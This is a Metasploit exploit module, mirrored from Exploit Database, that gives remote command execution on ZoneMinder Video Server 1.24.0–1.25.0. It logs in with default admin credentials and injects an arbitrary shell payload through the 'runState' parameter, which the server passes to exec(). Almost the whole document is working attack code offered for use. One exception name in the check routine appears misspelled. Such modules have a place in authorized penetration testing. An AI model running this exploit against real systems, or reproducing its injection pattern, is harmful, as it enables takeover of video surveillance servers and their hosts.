ZoneMinder Video Server – packageControl Command Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2013-01-24
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/24310/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => 'ZoneMinder Video Server packageControl Command Execution',
  			'Description'=> %q{
  				This module exploits a command execution vulnerability in ZoneMinder Video
  				Server version 1.24.0 to 1.25.0 which could be abused to allow
  				authenticated users to execute arbitrary commands under the context of the
  				web server user. The 'packageControl' function in the
  				'includes/actions.php' file calls 'exec()' with user controlled data
  				from the 'runState' parameter.
  			},
  			'References' =>
  				[
  					['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'],
  				],
  			'Author' =>
  				[
  					'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Privileged' => true,
  			'Arch' => ARCH_CMD,
  			'Platform' => 'unix',
  			'Payload'=>
  				{
  					'BadChars'=> "\x00",
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic telnet python perl bash',
  						},
  				},
  			'Targets'=>
  				[
  					['Automatic Targeting', { 'auto' => true }]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => "Jan 22 2013",
  		))
  
  		register_options([
  			OptString.new('USERNAME',[true, 'The ZoneMinder username', 'admin']),
  			OptString.new('PASSWORD',[true, 'The ZoneMinder password', 'admin']),
  			OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
  		], self.class)
  	end
  
  	def check
  
  		peer= "#{rhost}:#{rport}"
  		base= target_uri.path
  		base<< '/' if base[-1, 1] != '/'
  		user= datastore['USERNAME']
  		pass= datastore['PASSWORD']
  		cookie= "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
  		data= "action=login&view=version&username=#{user}&password=#{pass}"
  
  		# login and retrieve software version
  		print_status("#{peer} - Authenticating as user '#{user}'")
  		begin
  			res = send_request_cgi({
  				'method' => 'POST',
  				'uri'=> "#{base}index.php",
  				'cookie' => "#{cookie}",
  				'data' => "#{data}",
  			})
  			if res and res.code == 200
  				if res.body =~ /<title>ZM - Login<\/title>/
  					print_error("#{peer} - Authentication failed")
  					return Exploit::CheckCode::Unknown
  				elsif res.body =~ /v1.2(4\.\d+|5\.0)/
  					return Exploit::CheckCode::Appears
  				elsif res.body =~ /<title>ZM/
  					return Exploit::CheckCode::Detected
  				end
  			end
  			return Exploit::CheckCode::Safe
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
  			print_error("#{peer} - Connection failed")
  		end
  		return Exploit::CheckCode::Unknown
  
  	end
  
  	def exploit
  
  		@peer= "#{rhost}:#{rport}"
  		base = target_uri.path
  		base<< '/' if base[-1, 1] != '/'
  		cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
  		user = datastore['USERNAME']
  		pass = datastore['PASSWORD']
  		data = "action=login&view=postlogin&username=#{user}&password=#{pass}"
  		command= Rex::Text.uri_encode(payload.encoded)
  
  		# login
  		print_status("#{@peer} - Authenticating as user '#{user}'")
  		begin
  			res = send_request_cgi({
  				'method' => 'POST',
  				'uri'=> "#{base}index.php",
  				'cookie' => "#{cookie}",
  				'data' => "#{data}",
  			})
  			if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
  				fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
  			end
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  		end
  		print_good("#{@peer} - Authenticated successfully")
  
  		# send payload
  		print_status("#{@peer} - Sending payload (#{command.length} bytes)")
  		begin
  			res = send_request_cgi({
  				'method'=> 'POST',
  				'uri' => "#{base}index.php",
  				'data'=> "view=none&action=state&runState=start;#{command}%26",
  				'cookie'=> "#{cookie}"
  			})
  			if res and res.code == 200
  				print_good("#{@peer} - Payload sent successfully")
  			else
  				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
  			end
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  		end
  
  	end
  
  end